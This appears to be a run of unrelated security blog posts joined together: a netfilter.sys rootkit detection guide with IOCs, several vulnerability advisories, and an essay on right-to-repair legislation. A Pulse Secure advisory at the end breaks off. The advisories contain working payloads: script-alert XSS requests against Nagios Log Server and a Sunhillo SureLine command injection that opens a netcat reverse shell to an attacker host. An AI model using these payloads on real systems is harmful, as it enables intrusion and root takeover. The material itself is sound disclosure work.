Category:  Detection and Threat Hunting

Overview

During the week of June 21^st, 2021, information security researchers from G Data discovered that a driver for Microsoft Windows named “netfilter.sys” had a backdoor added by a 3^rd party that Microsoft then signed as a part of the Microsoft OEM program.  The malicious file is installed on a victim’s system as a component of an attack as part of the post-exploitation process. This means that the attacker must either have gained administrative privileges or already had access to run the installer to update the registry and install the malicious driver. This can occur during the post-exploitation process or set up to install the next time the system starts. Additionally, the victim can be convinced to install the driver as part of a pretexting attack.  At present, Microsoft has not seen the enterprise environment targeted, rather individual users at this time.

The following details are provided to assist organizations in detecting and threat hunting for this specific threat and other similar types of threats.

Investigating Malicious Drivers

Several tools can be used to check systems for indications of malicious drivers.  For example, tools such as SysInternals Autoruns and LOG-MD can investigate autoruns or persistence entries, with drivers being one type of persistence on a Windows server and workstation systems.

On a Windows system, drivers tend to be loaded from typically three locations:

• C:\Windows\System32\Drivers
• C:\WINDOWS\system32\DriverStore\FileRepository
• Applications installed directory typically under “Program Files” or “Program Files x86”.

The malicious netfilter driver, in this case, can be found in a folder that drivers should never exist.  The odd driver location is a good artifact for execution detection and threat hunting. Any binary found in the following folder should be investigated:

• %AppData% – C:\Users\<username>\AppData\Roaming

Windows also provides a built-in utility “driverquery” that can list the drivers, the state of the driver (running or stopped), and the driver’s key (location from which the driver was loaded).  To get a list of all the drivers of a system into CSV format that can then be opened in Microsoft Excel, execute the following command in an administrative command prompt:

• driverquery /v /fo CSV | find /i /v “system32\drivers\” | find /i /v “driverstore” > C:\Windows\Temp\Driver_List_%computername%.csv

This command will filter out the two primary locations drivers are loaded, providing a short list of drivers on the system that should be investigated.  This command also includes the name of the system appended to the output filename to allow for easier review of artifacts collected from multiple systems.

Detection

Detecting the netfilter driver and similar malicious payloads is as simple as looking for binaries and drivers loaded from atypical locations. Add a rule to your SIEM, log management, EDR, or similar security tooling that looks for process execution (event ID 4688 of the Windows security log) from the following locations:

• C:\Program Files
• C:\Program Files x86
• C:\ProgramData
• %AppData% – C:\Users\<username>\AppData\Roaming
• %LocalAppData% – C:\Users\<username>\AppData\Local

In order to collect event ID 4688, the Windows Advanced Audit Policy will need to have the following policy enabled:

• Detailed Tracking – Audit Process Creation

We hope this information can assist in your detection and threat hunting efforts to detect this and similar types of attacks.

IOCs

The following indicators of compromise (IOCs) are provided to help in detection and threat hunting activities.

Folders the file(s) can be found

• %AppData% – C:\Users\<username>\AppData\Roaming

Filenames

• Netfilter.sys
• Sdl.sys
• File.sys

IP Addresses

• 110.42.4[.]180
• 45.113.202[.]180

File Hashes

• 04a269dd0a03e32e5b2a1c8ab0768791962e040d080d44dc44dab01dd7954f2b
• 0856a1da15b2b3e8999bf9fc51bbdedd4051e21fab1302e2ce766180b4931d86
• 0c42fe45ffa9a9c36c87a7f01510a077da6340ffd86bf8509f02c6939da133c5
• 0eace788e09c8d3f793a1fad94d35bcfd233f0777873412cd0c8172865562eec
• 115034373fc0ec8f75fb075b7a7011b603259ecc0aca271445e559b5404a1406
• 12656fc113b178fa3e6bfffc6473897766c44120082483eb8059ebff29b5d2df
• 12c0002af719c6abbc1e726b409fce099fffb90f758477f5295c152bde504caa
• 16b6be03495a4f4cf394194566bb02061fba2256cc04dcbde5aa6a17e41b7650
• 18b923b169b2c3c7db5cbfda0db0999f04adb2cf6c917e5b1fb2ff04714ecac1
• 1aa8ba45f9524847e2a36c0dc6fd80162923e88dc1be217dde2fb5894c65ff43
• 1cd75de5f54b799b60789696587b56a4a793cf60775b81f236f0e65189d863af
• 1d1f7e26109e6cb28c6b369c937b407d7b0cce3c4800ce9852eda94742b12259
• 1d60819f0ab8547dcd4eb18d39a0c317ec826332afa19c0a6af94bc681a21f14
• 1f05f74ebae7e65d389703d423445ffb269e657d8278b0523417e1f72b0228eb
• 1f90d9c4d259c1fde4c7bb66a95d71ea0122e4dfb75883a6cb17b5c80ce6d18a
• 22da5a055b7b17c69def9f5af54e257c751507e7b6b9a835fcf6245ab90ae750
• 22f6fe6bd62fb03f7aee489cccbc918999f49596052ac0153c02cd7a3320de13
• 23c061933d471c1f959c77806098ec0528d9b1d0130689bb3f417dd843138468
• 24ea733bae1b8722841fb4c6cead93c4c4f0b1248ca9a21601b1ce6b95b06864
• 26d67d479dafe6b33c980bd1eed0b6d749f43d05d001c5dcaaf5fcddb9b899fe
• 26f2b9cf6e0fb50bad49a367bee63e808f1d53c476b38642d13c7db6e50687f4
• 2fa78c2988f9580b0c18822b117d065fb419f9c476f4cfa43925ba6cd2dffac3
• 314affdc86f62c8f8069ccd50a2cdf73bcd319773a031be700ba97a1ea4129a8
• 34c890fa43ca0e5165a4960549828ba43d7f48a216a22fc46204548ebfc34f72
• 3700b38d63d426ff0a985226b45eca6e24d052f4262d12aff529e62c2cb889c3
• 40c45c9b1c764777096b59f99ae524cbd25b88c805187e615c3ed6840f3d4c15
• 45ee083e28fbb33afa41b1b8cd00d94c29dea8cb7cee70bae4079e6c3dfb5501
• 4ce61ad21f186cf10dbcc253feee31262203cb5c12c5a140d2dda5447c57aba1
• 516159871730b18c2bddedb1a9da110577112d4835606ee79bb80e7a58784a13
• 5cb1dc26159c6700d6cadece63f6defda642ec1a6d324daefb0965b4e3746f70
• 5d0d5373c5e52c4405f4bd963413e6ef3490b7c4c919ec2d4e3fb92e91f397a0
• 62d7c5465852cdb7b59a86c20b4de5991c8f4820ce11a7c01cf0dde6032e500d
• 630d7bdc20f33e6f822f52533a324865694886b7b74dfaad1dc30c9aee4260a2
• 635273eaa4c2e20c4ec320c6c8447ce2e881984e97c9ed6aeec4fad16b934e81
• 63d61549030fcf46ff1dc138122580b4364f0fe99e6b068bc6a3d6903656aff0
• 640eeb3128ae5c353034ee29cb656d38c41353743396c1c936afd4d04a782087
• 6703400b490b35bcde6e41ce1640920251855e6d94171170ae7ea22cdd0938c0
• 6a234a2b8eb3844f7b5831ee048f88e8a76e9d38e753cc82f61b234c79fe1660
• 6a6db5febdaf3f1577bf97c6e1e24913e6c78b134062c02fd1f9875099c03a3f
• 6c7f24d8ed000bc7ce842e4875b467f9de1626436e051bd351adf1f6f8bbacf8
• 70b63dfc3ed2b89a4eb8a0aa6c26885f460e5686d21c9d32413df0cdc5f962c7
• 79e7165e626c7bde546cd1bea4b9ec206de8bed7821479856bdb0a2adc3e3617
• 7ff8fe4c220cf6416984b70a7e272006a018e5662da3cedc2a88efeb6411b4a4
• 8249e9c0ac0840a36d9a5b9ff3e217198a2f533159acd4bf3d9b0132cc079870
• 8e0b330a8df3076153638f5b76afc24d1083ebccc60e4d63ee0df5c11c45d58a
• 93d99a5fbfc888c0a40a18946933121ae110229dcf206b4d17116a57e7cf4dc9
• 97030f3c81906334429afebbf365a89b66804ed890cd74038815ca18823d626c
• 9b55b35284346bbcdc2754e60517e1702f0286770a080ee6ff3e7eed1cab812a
• 9f9315790d0b0cc5213ac9a8eff0968cccc0a6c469b50d6598ce759748fe74bf
• 9f9ebd6cd9b5b33ab2780122ee9c5feec84927f362890a062d13ef9816c7b85f
• a0050c33c8263da02618872d642617959b3564fe173985e078bfedb89df93724
• aa97f4f98ff842b1bfd78e920fcb1dedaec3f882dd19311bba6037430868e7a7
• ad2dd8a68ce22d0959f341e9269e8033b34362b34bdea50b8ee2390907f1a610
• b2cd9cca011064d03ddd8fe3521ce0e9f9d8b16f63e4ecaf03eacfef47d22dbf
• b7516dca419d087ef844c42e061a834908f34e7363577ab128094973896222c8
• b847e717215e0198cb4e863bd96390613f83eb92693171be50ca14255c5fb088
• bbc58fd69ce5fed6691dd8d2084e9b728add808ffd5ea8b42ac284b686f77d9a
• bfb4603902c6c9ff32bc36113280ee8b5687cc3ef4c0ff9fc56f2925c7f342f0
• c0e74f565237c32989cb81234f4b5ad85f9dd731c112847c0a143d771021cb99
• c2f23ad4e2f12c490cfd589764464e293d5d56c31b6b3f5081e2d677384cb2fe
• c95af9eb52111b72563875d85d593d96d7e54e19690827a052377c77cc80e06f
• caa0d9bb7ed2d21a76b71dfc22ffaef80371de8af2a03b8103cbcec332897a88
• d0e1639e6386ef3c063bfae334fcc35cdfa85068ac1a65bb58f2463276c31ac9
• d1ac4d07ba6fe1dd988c471975e49e35b83d03a9b9d626fa524fd8300b80b14a
• d4335f4189240a3bcafa05fab01f0707cc8e3dd7a2998af734c24916d9e37ca8
• d60fdabaf5a0ab375361d2ed1a9b39832bdb8bd33466d6c43d42a48ba2ffd274
• e0afb8b937a5907fbe55a1d1cc7574e9304007ef33fa80ff3896e997a1beaf37
• e2449ccc74e745c0339850064313bdd8dc0eff17b3a4e0882184c9576ac93a89
• e8e7f2f889948fd977b5941e6897921da28c8898a9ca1379816d9f3fa9bc40ff
• edc6e32e3545f859e5b49ece1cabd13623122c1f03a2f7454a61034b3ff577ed
• ee6d0d0ea24be622521ee1a4defa5d5729b99ee2217ac65701d38d05dbc0d4e6
• f1718a005232d1261894b798a60c73d971416359b70d0e545d7e7a40ed742b71
• f83c357106a7d1d055b5cb75c8414aa3219354deb16ae9ee7efe8ee4c8c670ca
• fd8a5313bf63f5013dc126620276fb4f0ef26416db48ee88cbaaca4029df1d73

Additional Reading

• Microsoft MSRC Article on the malicious driver – https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/
• G Data Article on the malicious driver – https://www.gdatasoftware.com/blog/microsoft-signed-a-malicious-netfilter-rootkit
• Windows Logging Cheat Sheets – https://www.malwarearchaeology.com/cheat-sheets
• Florian Roth’s github data on the malicious driver – https://docs.google.com/spreadsheets/d/1FYgBmJH8MOli99oIqRsIHJA2XzI3aSdAOb9mZmqj_q0/edit

Vendor: Nagios
Vendor URL: https://www.nagios.com/
Versions affected: >= 2.1.8
Systems Affected: Nagios Log Server
Author: Liew Hock Lai <[email protected]>
Advisory URL: https://www.nagios.com/downloads/nagios-log-server/change-log/ 
CVE Identifier: CVE-2021-35478 (Reflected XSS), CVE-2021-35478 (Stored XSS)
Risk: 4.6 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N) (client-side script execution)

Summary

Nagios Log Server is a Centralized Log Management, Monitoring, and Analysis software that allows organizations to monitor, manage, visualize, archive, analyse, and alert on all of their log data. Version 2.1.8 of the application was found to be vulnerable to Stored and Reflected XSS.

This occurs when malicious JavaScript or HTML code entered as input to a web application is stored within back-end systems, and that code is later used in a dynamically-generated web page without being correctly HTML-encoded.

Impact

The XSS could facilitate attackers in executing malicious JavaScript on victim machines such as stealing cookies or redirecting users.

Details

Reflected XSS

The time, start, end, type and search parameter in the audit log and alert history page is vulnerable to Reflected XSS.

An example URL of the vulnerable page is the following:

GET /nagioslogserver/admin/audit-log?time=24h&start=&end=&type=&search= HTTP/1.1

As a proof of concept, an alert box can be generated with the following payload:

GET /nagioslogserver/admin/audit-log?time=24h"><script>alert(1)</script>&start=&end=&type=&search= HTTP/1.1

Proof of concept:

Stored XSS

The pp parameter for results per page in the audit log and alert history page is vulnerable to Stored XSS.

An example URL of the vulnerable page is the following:

POST /nagioslogserver/admin/audit-log HTTP/1.1

As a proof of concept, an alert box can be shown with the following payload:

POST /nagioslogserver/admin/audit-log HTTP/1.1

Host: 192.168.1.223
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://192.168.1.223
Connection: close
Referer: http://192.168.1.223/nagioslogserver/admin/audit-log
Cookie: csrf_ls=b782f760bdac44ce7471725aac3882e2; ls_session=c4tv62aqvq8deo92lmalloule04bob2i
Upgrade-Insecure-Requests: 1

csrf_ls=b782f760bdac44ce7471725aac3882e2&pp=1"><script>alert(1)</script>

Proof of concept

Recommendation

Upgrade to Nagios Log Server 2.1.9.

Vendor Communication

2021-06-19 Advisory reported to Nagios
2021-06-21 Nagios received and started to track the security vulnerabilities
2021-06-24 Nagios fixed the issue on version 2.1.9
2021-07-20 Nagios released the patch
2021-07-22 Technical Advisory published by NCC Group 

About NCC Group

NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate & respond to the risks they face. We are passionate about making the Internet safer and revolutionizing the way in which organizations think about cybersecurity.

Published date: 22 july 2021

Written by:  Liew Hock Lai

Vendor: ICTFAX
Vendor URL: https://www.ictfax.org
Versions affected: ICTFax Version 4.0.2
Author: Derek Stoeckenius

Summary

ICTFax is fax to email software maintained by ICTInnovations. In version 7-4 of this product, available through the CentOS software repository, an indirect object reference allows a user of any privilege level to change the password of any other user within the application – including administrators. 

Impact

Successful exploitation of this vulnerability can allow a low-privilege user to access both administrative functions and user data from arbitrary users within the application.

Details

The application does not require the user to re-enter a password to change passwords within the application. The application uses sequential numbering to refer to users within the application for the purposes of altering passwords. 

To replicate this issue:

1. Login to the application as a “user”

2. Replace the [bearer token] with a valid token from an authenticated user

3. Alter the [usernumber] field to a valid numerical user within the application. 

Recommendation

ICTFax should require a user re-enter a password before making password changes within the application.

Vendor Communication

4/12/21 NCC Group made initial contact with ICT Innovations via their ticket system
4/13/21 Ticket assigned
4/16/21 NCC Group requested that communication continues via secure comms
4/23/21 ICT Innovations response asking NCC to email a head developer
4/27/21 NCC emails the head developer letting them know we would like to start a disclosure
5/1/21 No response from ICT Innovations so NCC opens up the original ticket requesting direction from ICT Innovations
6/1/21 No response from the ticket system so NCC reach's out to head developer again explaining that NCC would like to start a disclosure, citing our disclosure policy 
7/7/21 NCC reaches out to ICT Innovations via email and their ticketing system, and informs them that we intend to publish the advisory on our blog in one week 
7/22/21 Advisory published

About NCC Group

NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate & respond to the risks they face. We are passionate about making the Internet safer and revolutionizing the way in which organizations think about cybersecurity.

Published date:  July 22 2021
Written by: Derek Stoeckenius

Background

For some time there has been a growing movement amongst consumers who wish to repair their own devices in a cost effective manner, motivated to reduce their expenses, and reduce e-waste. This is becoming ever more difficult to achieve as devices reach ever higher levels of complexity, and include more electronics and firmware. The difficulty is exacerbated when OEMs make the information, parts, and tools necessary for repairs only available to their own authorized repair centers, policies which have been described as predatory.

Fundamentally, much of the conflict appears to arise from the distinction between the distribution models of traditional goods and digital goods. Historically, if you buy an item like a car you are free to do with it what you like, including re-selling, repairing with original or after-market parts, and generally modifying as you see fit. For digital goods like software this is not typically the case. Instead the purchaser will only acquire a license to use the software rather than any ownership stake that would permit them the same capabilities as a traditional purchase. The line between these cases has now become very blurred as much of what we buy contains computers and software. So while you may own your modern car or smartphone, the many millions of lines of code within it you almost certainly do not.

There have been several prominent cases at the forefront of the debates that are worth mentioning for additional context.

• John Deere, a popular manufacturer of farming equipment, has been in a battle against farmers who want tools and software to be made available so that they can repair their own machines without expensive service calls.
• Apple similarly makes authorized repairs only available at their own (often inconveniently located) stores and has repeatedly lobbied against right to repair legislation. 
• McDonald’s too is embroiled in a scandal where they’re preventing franchisees from using 3rd party diagnostic tools to keep the ice cream machines in working order, which is an expensive challenge preventing 5-16% of all McDonald’s restaurants from selling ice cream at any given time. 

Owner Perspective

The benefit to owners is somewhat obvious. Being able to repair their devices allows them to save money, to learn how the technology works, to innovate new uses for things, and gives them freedom of choice. The cost of repairs when using name brand repair shops has always been much higher than the independent shops. This is a long established truth most evident in the auto repair industry. We see this mirrored in other industries, as anyone who’s had to fix a broken iPhone can attest. The ability to modify a system has been a crucial part of the story of innovation. So many of our modern gadgets owe their existence to the improvements built upon the previous generations of technologies.

OEM Perspective

Depending on the industry and the device, repair services can account for a significant portion of the OEMs revenue. While Apple claims to actually lose money on iphone repairs, about half of the US automotive market’s $1.2 trillion revenue is generated from aftermarket part sales. Other industries and other OEMs will fall somewhere on this profitability spectrum. But while profit can be an important factor in restricting repair capabilities, it’s not the only one.

Most OEMs correctly take their responsibility for the security of their users very seriously. This is not only good business, it’s a legal requirement, and failing to protect the security of user devices can bring very serious penalties. To that end, OEMs implement a plethora of security features in their devices that are intended to lock out would-be attackers. Attackers come in many varieties, from the opportunistic, who scan the Internet for vulnerable systems, to the very targeted, who may attempt to compromise a device physically. In some cases, the user themselves is considered an attacker, as is the case for most entertainment devices. Here, the content providers are a stakeholder in the device security story and contractually require that their assets be protected from the users.

Finally, modern devices are rarely built and put to market without an extensive array of technology suppliers. Frequently an OEM has supply arrangements that are bound by highly restrictive contract terms which may prevent the public disclosure of the vendor’s intellectual property. This can include source code, reference schematics, datasheets, software tools, and other information that may be necessary for the effective repair of some types of defects. The OEM may simply not have the legal rights to release the required information.

US Federal Legislation

In the US, and around the world, various governments have proposed (largely unsuccessful) legislation to address the repair controversy. Various states have also attempted unsuccessfully to introduce similar legislation in the past. Most recently, a US presidential executive order was issued tasking the FTC with enacting new rules for OEMs in this regard. At about the same time, a new bill was introduced to congress with the same purpose, the text of which is now available as the Fair Repair Act. Over the coming days and weeks there will be a significant amount of ink given to interpreting the recently published text. The key highlights of the proposed legislation include the following:

• (Section 2.a) Electronic OEMs must make documentation, parts, and tools available for owners and independent repair providers. This includes making firmware available for public download. 
• (Section 5.3) Also included is “reporting output” which is not defined in the text. We assume this means logs or similar, which may contain sensitive information.
• (Section 5.5) The OEM must make these materials available under timely and reasonable terms. Reasonable terms must not include substantial obligation or restrictions.
• (Section 3) Enforcement will be delegated to the FTC, and any FTC actions and intervention will take priority over possible actions by lower levels of government.
• (Section 4.1) Security related functions are explicitly not excluded.
• (Section 4.2) If trade secrets need to be divulged to comply, then so be it.
• The proposal explicitly does not apply to:
  • (Section 4.4) motor vehicles (a term not defined in the text, but from other documents we conclude that tractors and farm machinery ARE covered by the rules)
  • (Section 4.5) medical devices (already subject to FDA definitions and regulation).
• (Section 5.4, 5.6) Embedded software is defined as “programmable instructions”, but this itself is vague and undefined and warrants further discussion.
• (Section 5.12) Tools may include software.
• (Section 6) If passed, this legislation takes effect in 60 days.

Implementation Thoughts

Device security is a balancing act. There are often trade-offs and compromises with usability, performance, cost, and of course repairability. Here we discuss some specific implications of the proposed legislation and how an OEM might alter their designs to comply.

Minimum Repairable Unit

The biggest question that remains unanswered in the legislation text, is what the minimum repairable unit should be. Swapping out an entire ECU module on a tractor is a straightforward repair for pretty much anyone with the right screwdriver. But what about deeper levels of granularity? Can single components within the ECU be replaced? What about fixes deep within a semiconductor device? What about software bugs? Obviously all of this can be fixed by the owners with the right tools, skills, and instructions, but how deep into the technology stack will the legislation apply? In the extreme, consider that a modern CPU can contain thousands of internal computing elements all of which contain firmware that theoretically contain bugs to be repaired. Will the legislation require releasing the details of every transistor in the chip? This uncertainty is likely driving a lot of the resistance we see from the OEMs.

A layman’s interpretation of the legislation is that the minimum repairable unit is below the PCB level. Schematics are explicitly included in the list of information OEMs must provide, and so one would assume that users may be permitted to diagnose which component on the PCB has failed and replace it. For now it seems that the OEMs are left to interpret where they will draw the line for what is and is not repairable, and security must now be part of that discussion more than ever.

Security Mechanisms

There are certainly security features within devices that are intended to prevent attackers from compromising the device, its data, or its users. Each security mechanism that could be an obstacle for repair needs to be evaluated on a case-by-case basis to determine the best course of action for compliance.

Section 4.1 is interesting in its vagueness. One would assume that this is intended to address cases where passwords or authentication tokens are needed in order to conduct the repairs and bring the device back to a functional state. But additionally we should assume this is intended to address cases where security functionality intended to protect the device from attackers may prevent certain repairs, as exemplified by the iPhone button replacement situation from 2016 that caused devices repaired with third party buttons to stop functioning.

As one specific example, secure devices often will use a secure device identity that is represented as a combination of the components within the device. Information from each security impacting component is collected and cryptographically combined to create a value that represents the sum of all the parts. This value is cryptographically signed by the OEM (using a signing server or signing oracle) at manufacturing time to ensure that it cannot be tampered with by an attacker seeking to subvert the security of one or more components that may be vital to the security of the overall device. This signed value is then used for things like device identity, encryption of secrets, and other foundational security functionality. Any material change in the makeup of the security related components of the device will invalidate this value or its signature, and thus be detectable (most likely manifesting as an early boot failure). To allow authorized replacement of a component in a system such as this requires that the original pairing operation be performed again, along with the signing step. Because the signature generation is a security sensitive operation, only authorized users would typically be granted such permissions in order to prevent abuse by attacking user devices, creating counterfeits, and laundering stolen devices. 

Under the proposed rules, such a signing oracle would need to be made available to owners and independent repair operators, which may then enable the very attacks that the system was designed to prevent. Section 4.1 clearly covers such functionality, which may result in a significant degradation of device security if implemented poorly.

A reasonable (but unfortunately uncommon) approach here is to perform a two stage authentication, where both the OEM and the owner are required to authorize the bypass of the security mechanism. This allows neither party to bypass without the other’s approval. The caveat here is that as an industry we have yet to find a reliable way to support owner authentication that does not allow (or even encourage) poor security practices such as default or weak passwords.

Secure Boot

Software and firmware is listed in the proposed legislation, but described simply as “programmable instructions”. It is unclear if this affects all programmable instructions within the device, all the way down to the many embedded ROMs within the silicon, or if the line will be drawn at the firmware (which is specifically mentioned). Furthermore, it is unclear if the intent is to allow the owner source code access such that they may fix software bugs, or merely binary images so they can reflash devices with the original OEM provided code. The latter is relatively common already, as any mature and responsible OEM is already making ongoing firmware updates available to provide security patches for connected devices. The former on the other hand, comes with additional complications. Most firmware integrity measures, such as secure boot, rely on cryptographic signatures applied to the firmware image. Verification of the signature at boot time prevents attackers from persistently compromising the device. Such features have been seen for more than 2 decades in smartphones, and is now considered a table-stakes defense for any modern connected device. The complication here is that the cryptographic signature is only useful if the private key remains secret. If owners are expected to be able to modify the firmware then the key will need to be shared, revealing it to attackers, and thus eliminating this important security defense entirely. It is unclear if Section 4.1 (security functions) and 4.2 (trade secrets) of the proposed legislation are intended to cover this particular case, but a conservative reading should probably assume they do. Two possible implementation solutions to this are:

1. Provide unique signing keys for each individual device, and an authorization system that permits only the current owner of a system from accessing or using these private keys. This is a level of infrastructure burden many OEMs today are not likely prepared for.
2. Allow the owner to provide their own signing key. Emerging proposals exist (OCP, IBM) in some domains to allow the cryptographic transfer of ownership by replacing the signing key in a system with one of the owner’s choosing. Hardware support for this is rare, but does exist in some components. Unofficial partial support in Android also exists.

Neither solution above is commonly implemented today and would require extensive changes deep within the system, requiring new hardware and firmware to be designed and tested. Bound by dependencies in current hardware and semiconductor designs, it is doubtful that such changes could be rolled out in the proposed 6 month implementation deadline.

Authentication

The difficulty for OEMs here is best illustrated by a concrete example: All phones contain a unique identifier that allows the network to address them individually. For phones on 3GPP networks this is the International Mobile Equipment Identity (IMEI). The IMEI is programmed by the OEM during manufacturing, and is typically allocated on a per network carrier basis. Repurposing phones from one carrier to another (during repair, or manufacturing rework) may require replacing the IMEI, and such functionality is therefore a practical necessity that OEMs implement for their own internal use. But because it is illegal to alter the IMEI in some jurisdictions, this repair functionality is tightly restricted to only OEM authorized individuals. 

There are many examples of similar functionality where through regulation, contractual obligations, liability, safety, security, etc, certain privileged functionality cannot be exposed to users or owners. From this standpoint, the proposed legislation will necessarily create multiple tiers of authorized repair. Some OEMs implement this sort of granular authentication capability already, separating permissions for internal OEM development, internal manufacturing, external repair, and owner capabilities, but this is not a common feature. Implementing the core firmware functionality and the infrastructure necessary to support it is non-trivial, and unlikely to meet the proposed 60 day implementation deadline.

End of Life

End of life is a challenge as recent public cases highlight. A vulnerability in a Western Digital product is a case study of what happens when internet connected products continue to be used past EOL. SonicWall had a similar incident recently as well.

Attacker techniques and tools improve over time. As software ages, ever more vulnerabilities will be discovered in it. The standard practice is therefore to continually release updated software and firmware versions, preferably at a regular cadence. Automatic updates remove the need for owners to be involved in this vital (but tedious) maintenance, and is thus becoming a common feature in many devices.

In the WD case, they had previously declared the product model as EOL in 2015 and have provided no firmware updates to patch known vulnerabilities since that time. There were multiple critical vulnerabilities including remote root command injection and a remote unauthenticated factory reset function. The latter is being actively exploited in the wild to destroy customer data, leaving WD in an uncomfortable position. 

What happens when the product is no longer commercially viable for the OEM to support? It may still have decades of useful life, and thus support is clearly needed. For consumer devices the most common relationship model is that the customer pays a single up front cost, and the vendor provides binary-only firmware updates for free, for a time. Under this model, obviously it’s impractical for a company to support products in the field forever, and the customer is incapable of providing their own patches. This leaves a few options:

1. Offer customers a support plan. Like an annual subscription fee that funds the ongoing maintenance of the product and it’s firmware. For customers who depend on the product, they may be willing to pay. This support concept is well established for enterprise products already.
2. Disable remote features upon reaching a clearly communicated EOL date. While such an attack surface reduction is responsible to the safety of the internet as a whole, this is not likely to thrill individual customers who may be reliant on that functionality. This path was taken by Sonos which caused significant unrest among owners.
3. Require owners and users to explicitly accept the risk of running obsolete technology in an unsafe unmaintained fashion. There is an obvious difficulty of properly communicating this to the owners in a way that let’s them make informed decisions (i.e. not all consumers are equally literate with technology).
4. Turn it over to the community to allow maintenance to continue. Many companies open source their products when they are no longer commercially viable and this allows owners and hobbyists to continue the maintenance. This may require releasing firmware signing keys, and may require permissive licenses for any third party components. This assumes of course that the OEM still has all these artefacts, as maintaining digital information for decades poses its own challenges. Here Escrow solutions exist that can help.

Regardless of the chosen solution, clear communication to the owners of the expected EOL date of the product, and in particular the security expiration date, is a must.

Timelines

The proposed 60 day implementation is significantly out of sync with typical product development timelines. For most electronic devices, the typical product development cycle can take 6-12 months, and this assumes relatively simple iteration on previous designs. For products that contain more fundamental improvements, it can take years. For complex semiconductor products, development cycles can easily be 10 years or more. 

This discrepancy makes compliance on new products very challenging, considering the foundational nature of the changes that may be required to comply without adversely affecting the security of the users (by, say unintentionally releasing dangerous tools). Even conceptually simple tasks such as scrubbing firmware log statements to remove sensitive information can be quite time consuming.

Moreover, nothing in the proposal indicates that this is to be applicable to new products only. Implementation on existing products is assumed, and this may require even more drastic actions by the OEM (such as the severely unsafe option of releasing code signing keys to both owners and attackers).

The proposed timeline is therefore expected to generate significant pushback from the OEMs. A better approach would have been to phase in the changes over a number of years, and grandfather existing products which may be uneconomical or technically impossible to support.

Closing Thoughts

It is abundantly clear that the right to repair movement is here to stay. Having visible support from the current US federal administration gives it some real momentum that is unwise to ignore. We recommend that OEMs begin working on solutions to comply sooner rather than later, because even if the current proposal does not pass into law, there will be others, and eventually compliance in one form or another, in some jurisdiction, is likely to be required. Having a low-friction compliance plan will become ever more important in the years to come.

Vendor: Sunhillo 
Vendor URL: https://www.sunhillo.com/ 
Versions affected: SureLine <= 8.7.0 
Systems Affected: Any using SureLine 
Author: Liam Glanfield <[email protected]> 
Advisory URL / CVE Identifier: CVE-2021-36380 
Risk: Critical - complete compromise of the host

Summary

Sunhillo is an industry leader in surveillance data distribution. The Sunhillo SureLine application contained an unauthenticated operating system (OS) command injection vulnerability that allowed an attacker to execute arbitrary commands with root privileges. This would have allowed for a threat actor to establish an interactive channel, effectively taking control of the target system.

Impact

Complete system compromise. With the threat actor in full control of the device they could cause a denial of service or utilise the device for persistence on the network.

Details

The /cgi/networkDiag.cgi script directly incorporated user-controllable parameters within a shell command, allowing an attacker to manipulate the resulting command by injecting valid OS command input. The following POST request injects a new command that instructs the server to establish a reverse TCP connection to another system, allowing the establishment of an interactive remote shell session.

The script did appear to validate user input and blocked most techniques for OS command injection. Additionally, the request also did not require any authentication (session cookie etc.). However, command injection was still possible using $(), thus enabling arbitrary commands to be run within the parenthesis.

The following parameters were affected:

• ipAddr
• dnsAddr

The following lines demonstrate the creation of a reverse connection to an attacker’s host, leading to the establishment of a covert channel, effectively allowing an attacker to execute commands on the server. The installed ‘nc’ package (Netcat) is used to create a reverse connection to an attacker’s host (192.168.1.2) on port TCP/8181 while redirecting all traffic (stdout and stderr) to and from the /bin/bash shell.

POST /cgi/networkDiag.cgi HTTP/1.1 
Host: 192.168.1.1 
Content-Length: 145 

command=2&ipAddr=&dnsAddr=$(nc+e+/bin/bash+192.168.1.2+8181)&interface=0&netType=0&scrFilter=&dstFilter=&fileSave=false&pcapSave=false&fileSize=

The code above would send the shell to an attacker’s host, which in this case should have port 8181 on listening mode. This was compounded further by the web service running as root and with an interactive shell now established, the system would be in full control of the attacker. For example the attacker could add a SSH public key into /home/root/.ssh/authorized_keys and gain access as the root user.

Recommendation

Update Sunhillo SureLine to version 8.7.0.1.1.

Vendor Communication

NCC Group Notifies Vendor: 21st June 2021 
Vendor Replies Requesting More Details: 21st June 2021 
NCC Group Sends Requested information: 21st June 2021 
Vendor Confirms The Vulnerability: 28th June 2021 
NCC Group Requests a Patch Date: 28th June 2021 
Vendor Response With Date: 7th July 2021 
Patch Published: 22nd July 2021 
Advisory Published: 26th July 2021

Thanks to

Liam Glanfield at NCC Group

About NCC Group

NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate & respond to the risks they face. We are passionate about making the Internet safer and revolutionizing the way in which organizations think about cybersecurity.

Publish Date: 7/26/2021

Written by: Liam Glanfield

Vendor: Ivanti Pulse Secure
Vendor URL: https://www.pulsesecure.net/
Versions affected: Pulse Connect Secure (PCS) 9.11R11.5 or below
Systems Affected: Pulse Connect Secure (PCS) Appliances
Author: Richard Warren <richard.warren[at]nccgroup[dot]trust>
Advisory URL: https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44858
CVE Identifier: CVE-2021-22937
Risk: 7.2 CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Summary

The Pulse Connect Secure appliance suffers from an uncontrolled archive extraction vulnerability which allows an attacker to overwrite arbitrary files, resulting in Remote Code Execution as root.

This vulnerability is a bypass of the patch for CVE-2020-8260.

Impact

